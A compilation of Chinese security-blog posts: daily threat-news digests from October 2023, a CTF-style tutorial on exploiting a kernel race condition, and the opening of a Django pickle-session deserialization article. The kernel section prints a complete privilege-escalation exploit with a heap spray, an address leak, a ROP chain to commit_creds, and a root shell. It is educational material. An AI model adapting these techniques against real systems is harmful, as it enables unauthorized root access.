网络安全日报 2023年10月24日
1、Pure Clipper恶意软件针对意大利用户发起攻击
https://cyble.com/blog/fileless-pure-clipper-malware-italian-users-in-the-crosshairs/ 近日,研究人员发现了一个由威胁行为者(TA)通过一个伪造的Tor项目网站进行的操作。该TA在这个操作中传播了Pure Clipper恶意软件。Clipper是一种用于窃取或操纵与加密货币相关的数据的恶意软件,特别是加密货币钱包地址。Clipper恶意软件通常通过监视用户的剪贴板来操作,剪贴板是临时存储复制信息的地方。当它检测到复制了一个加密货币钱包地址(例如,比特币或以太坊地址)时,它会用攻击者控制的地址替换该地址。因此,
2、以色列-巴勒斯坦冲突引发网络攻击风暴
https://cyble.com/blog/israel-palestine-conflict-and-looming-threat-on-critical-infra/ 2023年10月,以色列和巴勒斯坦之间的紧张局势再次升级,引发了一场全面的武装冲突。这两个国家自20世纪初以来就一直存在争端,自2008年以来发生了多次激烈的冲突。这场战争也引起了来自黑客活动分子和威胁行为者(TAs)的大量报复性攻击,这与2012年以来观察到的趋势相符。此外,网络攻击通常是现代战争中的辅助手段,这一趋势在2022年俄罗斯-乌克兰冲突爆发之前就已经出现。研究人员一直在收集特定的情报,以在黑客活动分子和不同
3、TetrisPhantom黑客利用安全U盘窃取政府系统数据
https://securelist.com/apt-trends-report-q3-2023/110752/ 一种新的复杂威胁,被追踪为“TetrisPhantom”,一直在利用被感染的安全U盘,针对亚太地区的政府系统进行攻击。安全U盘在设备的加密部分存储文件,用于在系统之间安全地传输数据,包括那些在隔离环境中的系统。通过自定义软件,可以根据用户提供的密码解密U盘中的内容。这种软件之一是UTetris.exe,它被捆绑在U盘的未加密部分。安全研究人员发现了UTetris应用程序的恶意版本,它们被部署在安全U盘上,作为一场攻击活动的一部分,该活动已经持续了至少几年,并且针对亚太地区的政府机
4、Chrome将推出新的“IP保护”功能,隐藏用户的IP地址
https://www.bleepingcomputer.com/news/google/google-chromes-new-ip-protection-will-hide-users-ip-addresses/ Chrome是一款流行的网络浏览器,它提供了许多功能和选项,以提高用户的网络体验和安全性。最近,谷歌正在准备测试一种新的“IP保护”功能,该功能可以通过使用代理服务器来掩盖用户的IP地址,从而增强用户的隐私。IP地址是一个唯一的数字标识符,它可以显示用户的网络位置和设备信息。一些网站和服务可能会收集和追踪用户的IP地址,以进行广告定向、分析或审查等目的。因此,隐藏或更改IP地址可
5、Deepfake!黑客冒充非洲联盟主席与多位欧洲领导人通话
https://cybernews.com/security/deepfake-african-union-chief-fari/ 该报道称,黑客在通话过程中使用了深度伪造的视频篡改技术来冒充主席。同时,非洲联盟(AU)在一份声明中说,有人使用伪造的电子邮件地址要求与外国领导人通话。
6、SolarWinds 修复了 Access Rights Manager 中的严重漏洞
https://www.securityweek.com/solarwinds-patches-high-severity-flaws-in-access-rights-manager/ 企业软件供应商 SolarWinds 已针对其访问权限管理器 (ARM) 中的八个高严重性漏洞发布了补丁,其中包括三个无需身份验证即可利用的远程代码执行问题。
7、思科警告第二个 IOS XE 零日漏洞被用于感染全球设备
https://securityaffairs.com/152924/hacking/cisco-ios-xe-zero-day-cve-2023-20273.html 思科发现了第二个 IOS XE 零日漏洞,编号为 CVE-2023-20273,该漏洞在野外攻击中被积极利用。
8、Ragnar Locker 勒索软件组织的主要成员在欧洲被捕
https://www.europol.europa.eu/media-press/newsroom/news/ragnar-locker-ransomware-gang-taken-down-international-police-swoop 在欧洲刑警组织等机构的协调下,欧洲多国对 Ragnar Locker 勒索软件组织的主要成员展开了突击行动。该组织的关键成员于 10 月 16 日在法国巴黎被捕,其在捷克的家遭到搜查。另外五名嫌疑人分别在西班牙和拉脱维亚接受询问。Ragnar Locker 的基础设施在荷兰、德国和瑞典查封,暗网上的数据泄露网站在瑞典被关闭。Ragnar Locke
9、BlackCat再升级!可用全新Munchkin工具进行隐形攻击
https://www.bleepingcomputer.com/news/security/blackcat-ransomware-uses-new-munchkin-linux-vm-in-stealthy-attacks/ BlackCat/ALPHV 勒索软件最近开始使用一种名为 "Munchkin "的新工具,该工具可利用虚拟机在网络设备上隐秘地部署加密程序。
10、复杂的MATA框架打击东欧石油和天然气公司
https://thehackernews.com/2023/10/sophisticated-mata-framework-strikes.html 卡巴斯基在本周发布的一份新的详尽报告中表示:攻击背后的行为者使用鱼叉式网络钓鱼邮件针对几名受害者,其中一些人通过互联网浏览器下载文件感染了Windows可执行恶意软件。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4
这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4
open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
if (mutex) {
printk(KERN_INFO "resource is busy");
return -EBUSY;
}
mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。
#include <stdio.h>
#include <fcntl.h>
int main()
{
int fd1 = open("/dev/holstein",O_RDWR);
printf("fd1:%d\n",fd1);
int fd2 = open("/dev/holstein",O_RDWR);
printf("fd2:%d\n",fd2);
}
单线程下执行的流程如下。
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。
POC
为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。
首先是POC使用了3与4作为新打开的文件描述符,这是因为0,1,2是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。
其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。
然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。
最后就是验证3和4是否指向同一块内存了。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
if (strcmp(temp, "abcdefg"))
{
puts("fail\n");
exit(-1);
}
printf("sucess\n");
}
run.sh
这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 2 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;
#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
int spray[200];
save_user_land();
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
printf("temp:%s\n", temp);
if (strcmp(temp, "abcdefg"))
{
puts("failure\n");
exit(-1);
}
if (!strcmp(temp,"abcdefg"))
{
printf("sucess\n");
close(4);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(3, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
for (unsigned int i = 0; i < 0x80; i++)
printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_address = p[3];
unsigned long heap_address = p[7];
if ((kernel_address >> 32) != 0xffffffff)
{
printf("leak error!\n");
exit(-1);
}
else
printf("leak sucess\n");
unsigned long kernel_base = kernel_address - 0xc3afe0;
unsigned long g_buf = heap_address - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);
//getchar();
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = g_buf + i;
int index = 0x21;
p[index++] = pop_rdi_ret + kernel_base;
p[index++] = 0;
p[index++] = prepare_kernel_cred + kernel_base;
p[index++] = pop_rcx_5 + kernel_base;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = mov_rdi_rax + kernel_base;
p[index++] = commit_creds + kernel_base;
p[index++] = swapgs_restore + kernel_base + 22;
p[index++] = 0;
p[index++] = 0;
p[index++] = (unsigned long)backdoor;
p[index++] = user_cs;
p[index++] = user_rflags;
p[index++] = user_sp;
p[index++] = user_ss;
write(3, buf, 0x400);
ioctl(4, 0, g_buf + 0x100);
}
return 0;
}
CPU Affinity(CPU 亲和性)
这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。
#define _GNU_SOURCE
#include <sched.h>
...
cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
...
if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
void *thread_function(void *arg) {
cpu_set_t *cpu_set = (cpu_set_t *)arg;
int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
...
}
网络安全日报 2023年10月23日
1、Complaint Stealer针对加密货币钱包和酒店业
https://cofense.com/blog/new-complaint-stealer-malware-escalates/ 近日,一系列传播新型恶意软件“Complaint Stealer”的网络钓鱼活动开始升级。这种恶意软件是一种信息窃取器,可以盗取用户的加密货币钱包和程序,以及浏览器中存储的凭据。Complaint Stealer还对显卡和其他与加密货币挖矿相关的信息表现出异常的兴趣,因此加密货币挖矿可能是其后续功能。Complaint Stealer还经常利用一些合法的软件,如AutoIT或PKWARE。目前发现的所有样本都使用相同的C2位置。这次活动使用了社会工程学技巧,类似
2、警方查封Ragnar Locker勒索软件的暗网勒索站点
https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomwares-dark-web-extortion-sites-seized-by-police/ Ragnar Locker是一种针对Windows和Linux的勒索软件,它可以从受感染的机器中窃取信息,使用Salsa20加密算法加密文件,并要求受害者支付赎金以恢复数据。Ragnar Locker团伙以使用双重勒索的策略而闻名,即如果受害者拒绝支付赎金,他们的数据就会被公开到暗网上。据报道,一组国际执法机构已经查封了Ragnar Locker团伙使用的暗网门户
3、Crambus针对中东政府发起新一轮攻击
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/crambus-middle-east-government Crambus是一个伊朗的间谍组织,长期针对多个国家的目标进行情报收集和监视活动。最近,该组织在2023年2月至9月期间,对中东某国政府进行了为期八个月的入侵。在入侵过程中,攻击者窃取了文件和密码,并在一台计算机上安装了一个PowerShell后门(被称为PowerExchange),用于监视Exchange服务器上的收件箱,执行攻击者通过邮件发送的命令,并将结果偷偷转发给攻击者。研究人
4、恶意广告商使用Google广告来定位搜索流行软件的用户
https://www.malwarebytes.com/blog/threat-intelligence/2023/10/the-forgotten-malvertising-campaign 恶意广告活动是指利用合法的广告平台或网络来传播恶意软件或勒索软件的一种网络攻击方式。近几周,安全研究人员发现,通过谷歌搜索引擎的恶意广告活动有所增加,一些威胁行为者改进了他们的技术,以逃避整个交付链中的检测。研究人员介绍了一个似乎完全被忽视的恶意广告活动,它在用户指纹识别和分发时间敏感的有效载荷方面具有独特性。该活动针对Notepad++等流行的Windows文本编辑器或类似的软件程序,如PDF转换
5、思科IOS XE软件中的零日漏洞被利用,植入恶意Lua后门
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z 思科在周五发布了一份更新的通告,警告其IOS XE软件中存在一个新的零日漏洞,该漏洞已被一个未知的威胁行为者利用,向易受攻击的设备植入了一个恶意的Lua后门。该漏洞被追踪为CVE-2023-20273(CVSS评分:7.2),与Web UI功能中的一个提权漏洞有关,据说已与CVE-2023-20198一起作为一个利用链被使用。思科表示,攻击者首先利用CVE-202
6、Okta支持系统被盗用凭证入侵,部分客户数据泄露
https://sec.okta.com/harfiles Okta是一家提供身份服务的公司,拥有超过1.7万个客户和5亿个用户。在周五,Okta披露了一起新的安全事件,称一个未知的威胁行为者利用了一个被盗的凭证,访问了其支持案例管理系统。该系统用于处理客户的技术问题和请求。Okta的首席安全官David Bradbury表示,“威胁行为者能够查看某些Okta客户作为最近支持案例的一部分上传的文件”。他还强调,Okta支持案例管理系统与Okta生产服务是分开的,后者没有受到影响。但是,他也警告说,客户支持系统有时会用于上传HTTP归档(HAR)文件,以复制用户或管理员的错误,以便进行故障排除
7、BlackCat勒索软件使用新策略进行隐蔽攻击
https://unit42.paloaltonetworks.com/blackcat-ransomware-releases-new-utility-munchkin/ BlackCat(也称ALPHV)勒索软件团伙最近使用了一种新的名为“Munchkin”的Linux虚拟机,来加强其攻击的隐蔽性和持久性。Munchkin是一个定制的Alpine OS Linux发行版,以ISO文件的形式提供。在入侵设备后,威胁行为者安装VirtualBox,并使用Munchkin ISO文件创建一个新的虚拟机。然后,在虚拟机中执行恶意代码,对受害者的系统进行加密和破坏。BlackCat勒索软件最初于2
8、SolarWinds ARM产品存在三个严重远程代码执行漏洞
https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2023-2-1_release_notes.htm SolarWinds是一家提供网络管理和监控软件的公司,其访问权限管理器(ARM)是一款用于审计和控制网络资源访问权限的解决方案。近日,该产品被发现存在三个严重的远程代码执行(RCE)漏洞,分别是CVE-2023-35182、CVE-2023-35185和CVE-2023-35187。这些漏洞都是由于产品在处理不可信数据时存在反序列化漏洞而导致的,攻击者可以利用这些漏洞在
9、卡西欧披露数据泄露影响了149个国家的客户
https://world.casio.com/information/1018-incident/ 卡西欧是一家日本电子产品制造商,其ClassPad是一款面向教育领域的平台,提供数学、科学和编程等功能。近日,该公司透露,其ClassPad的服务器遭到黑客入侵,导致来自149个国家/地区的客户的数据被泄露。卡西欧于10月11日检测到该事件,原因是开发环境中的ClassPad数据库发生故障。有证据表明,黑客在10月12日访问了客户信息,包括姓名、电子邮件地址、密码、电话号码、学校名称等。截至10月18日,黑客获得了日本客户的91921条记录,以及其它148个国家/地区客户的35049条记录。
10、最新报告:71%的AI检测器无法检测出ChatGPT撰写的钓鱼邮件
https://www.freebuf.com/articles/paper/380801.html 近日,邮件安全公司Egress发布的《2023年网络钓鱼威胁趋势报告》对迄今为止的流行网络钓鱼趋势进行了分析。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月20日
1、朝鲜黑客利用TeamCity漏洞发动攻击
https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/ 据研究人员透露,被称为Diamond Sleet和Onyx Sleet的朝鲜国家级威胁行为者正在利用影响JetBrains TeamCity服务器多个版本的远程代码执行漏洞。TeamCity是一款用于构建管理和持续集成的DevOps工具,拥有超过3万名全球用户,包括耐克、法拉利、花旗银行和育碧等知名企业
2、Qubitstrike利用Jupyter Notebook挖矿和窃取云数据
https://www.cadosecurity.com/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks/ Qubitstrike是一种新发现的恶意软件,它针对暴露在互联网上的Jupyter Notebook进行攻击,旨在非法挖掘加密货币和窃取云服务提供商的凭证。Jupyter Notebook是一种开源的交互式计算环境,用于数据分析、机器学习和科学研究。Qubitstrike的攻击者利用Shodan等服务搜索易受攻击的Jupyter Notebook,并通过Jupyter的终端功能执行命令,从Code
3、MATA恶意软件框架利用EDR攻击国防企业
https://securelist.com/updated-mata-attacks-industrial-companies-in-eastern-europe/110829/ 据报道,一种更新版本的MATA恶意软件框架在2022年8月至2023年5月期间发动了一系列攻击,针对东欧的石油和天然气企业以及国防行业。这些攻击利用鱼叉式钓鱼邮件诱使目标下载恶意可执行文件,利用Internet Explorer中的CVE-2021-26411漏洞启动感染链。更新的MATA框架结合了一个加载器、一个主木马和一个信息窃取器,以在目标网络中植入后门并获得持久性。这个MATA版本与之前与朝鲜黑客组织La
4、恶意广告利用Punycode冒充KeePass网站传播恶意软件
https://www.malwarebytes.com/blog/threat-intelligence/2023/10/clever-malvertising-attack-uses-punycode-to-look-like-legitimate-website 研究人员发布了一篇博客文章,揭露了一种新的恶意广告攻击,该攻击针对KeePass,这是一款开源的密码管理器。该攻击使用了一个特殊的字符编码Punycode,来注册一个与KeePass官方网站非常相似的国际化域名。这种域名在视觉上几乎无法区分,因此很容易欺骗用户。当用户在Google搜索KeePass时,会看到一个带有官方图标和
5、攻击者称手握300万条D-Link数据,D-Link称只有700条
https://www.freebuf.com/news/381158.html 位于中国台湾地区的全球网络设备和技术公司 D-Link 近期遭到一起数据泄露事件,一名攻击者在 BreachForums 平台上出售来自该公司的被盗数据。攻击者声称窃取了 300 万条个人信息以及 D-Link 的 D-View 网络管理软件的源代码,并提供了 1.2 GB 的存档。被盗数据包括许多台湾政府官员以及该公司首席执行官和员工的信息。D-link称攻击者仅窃取了大约 700 条至少已超过7年的老旧记录。且大部分由低敏感度和半公开信息组成,与其宣称的拥有300万条信息不符。
6、包含名流世家!数百万份 23andMe 基因数据资料被盗
https://www.freebuf.com/news/381144.html 一名网络攻击者在 BreachForums 黑客论坛上泄露了 410 万份被盗的 23andMe 基因数据资料,这些数据主要来自英国和德国。网络攻击者声称被盗数据包括皇室、罗斯柴尔德家族和洛克菲勒家族的基因信息。
7、国家支持的 APT 正在利用 WinRAR 漏洞(CVE-2023-38831)
https://www.freebuf.com/news/381150.html 一些由政府支持的 APT 正在利用 CVE-2023-38831漏洞,这是 WinRAR 中的一个文件扩展名欺骗漏洞。自 2023 年 4 月以来,该漏洞一直被网络犯罪分子作为零日漏洞加以利用,现在也被国家支持的黑客组织所利用。谷歌 TAG 分析师指出:对 WinRAR 漏洞的广泛利用也表明,尽管已经有了补丁,但对已知漏洞的利用依旧活跃且有效。
8、亚马逊添加密钥支持作为新的无密码登录选项
https://www.bleepingcomputer.com/news/security/amazon-adds-passkey-support-as-new-passwordless-login-option/ 亚马逊悄悄地为客户添加了密钥支持,作为新的无密码登录选项,提供更好的保护,防止信息窃取恶意软件和网络钓鱼攻击。
9、因未修补的IOS XE漏洞遭攻击的思科设备数量已达到约 40,000 台
https://www.securityweek.com/number-of-cisco-devices-hacked-via-unpatched-vulnerability-increases-to-40000/ 据多家网络安全公司称,利用未修补的 IOS XE 漏洞遭到黑客攻击的思科设备数量已达到约 40,000 台。 所利用的漏洞是 CVE-2023-20198,这是一个影响 IOS XE Web 界面的严重缺陷,未经身份验证的远程攻击者可以利用该漏洞进行权限升级。 思科尚未发布补丁,该公司警告称,该漏洞至少从 9 月中旬起就已被作为零日漏洞利用。
10、lackCat Group 采用新策略规避安全检测
https://cyware.com/news/blackcat-group-adopts-a-new-tactic-to-circumvent-security-solutions-8257dfd9 BlackCat 组织再次在其武器库中添加了一个新工具,以逃避不同供应商提供的安全解决方案的检测。攻击者创建了一个名为 Munchkin 的新实用程序,允许他们在远程计算机上运行勒索软件负载,或加密远程服务器消息块 (SMB)/通用 Internet 文件共享 (CIFS)。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
由Django-Session配置引发的反序列化安全问题
漏洞成因
漏洞成因位于目标配置文件settings.py下
关于这两个配置项
SESSION_ENGINE:
在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:
数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
SESSION_SERIALIZER:
SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:
'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
'django.contrib.sessions.serializers.PickleSerializer':使用Python标准库中的pickle模块来序列化和反序列化会话数据。
那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块:(Django==2.2.5)
主要看看函数参数即可
key:验签中的密钥
serializer:指定序列化和反序列化类
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
"""
Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
None, use settings.SECRET_KEY instead.
If compress is True (not the default), check if compressing using zlib can
save some space. Prepend a '.' to signify compression. This is included
in the signature, to protect against zip bombs.
Salt can be used to namespace the hash, so that a signed string is
only valid for a given namespace. Leaving this at the default
value or re-using a salt value across different parts of your
application without good cause is a security risk.
The serializer is expected to return a bytestring.
"""
data = serializer().dumps(obj) # 使用选定的类进行序列化
# Flag for if it's been compressed or not
is_compressed = False
# 数据压缩处理
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode() # base64编码 decode转化成字符串
if is_compressed:
base64d = '.' + base64d
return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值
# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
"""
Reverse of dumps(), raise BadSignature if signature fails.
The serializer is expected to accept a bytestring.
"""
# TimestampSigner.unsign() returns str but base64 and zlib compression
# operate on bytes.
base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
decompress = base64d[:1] == b'.'
if decompress:
# It's compressed; uncompress it first
base64d = base64d[1:]
data = b64_decode(base64d)
if decompress:
data = zlib.decompress(data)
return serializer().loads(data)
看看两个签名的类:
在Signer类中中:
class Signer:
def __init__(self, key=None, sep=':', salt=None):
# Use of native strings in all versions of Python
self.key = key or settings.SECRET_KEY # key默认为settings中的配置项
self.sep = sep
if _SEP_UNSAFE.match(self.sep):
raise ValueError(
'Unsafe Signer separator: %r (cannot be empty or consist of '
'only A-z0-9-_=)' % sep,
)
self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
def signature(self, value):
# 利用salt、value、key做一次签名
return base64_hmac(self.salt + 'signer', value, self.key)
def sign(self, value):
return '%s%s%s' % (value, self.sep, self.signature(value))
def unsign(self, signed_value):
if self.sep not in signed_value:
raise BadSignature('No "%s" found in value' % self.sep)
value, sig = signed_value.rsplit(self.sep, 1)
if constant_time_compare(sig, self.signature(value)):
return value
raise BadSignature('Signature "%s" does not match' % sig)
还有一个是时间戳的验签部分
class TimestampSigner(Signer):
def timestamp(self):
return baseconv.base62.encode(int(time.time()))
def sign(self, value):
value = '%s%s%s' % (value, self.sep, self.timestamp())
return super().sign(value)
def unsign(self, value, max_age=None):
"""
Retrieve original value and check it wasn't signed more
than max_age seconds ago.
"""
result = super().unsign(value)
value, timestamp = result.rsplit(self.sep, 1)
timestamp = baseconv.base62.decode(timestamp)
if max_age is not None:
if isinstance(max_age, datetime.timedelta):
max_age = max_age.total_seconds()
# Check timestamp is not older than max_age
age = time.time() - timestamp
if age > max_age:
raise SignatureExpired(
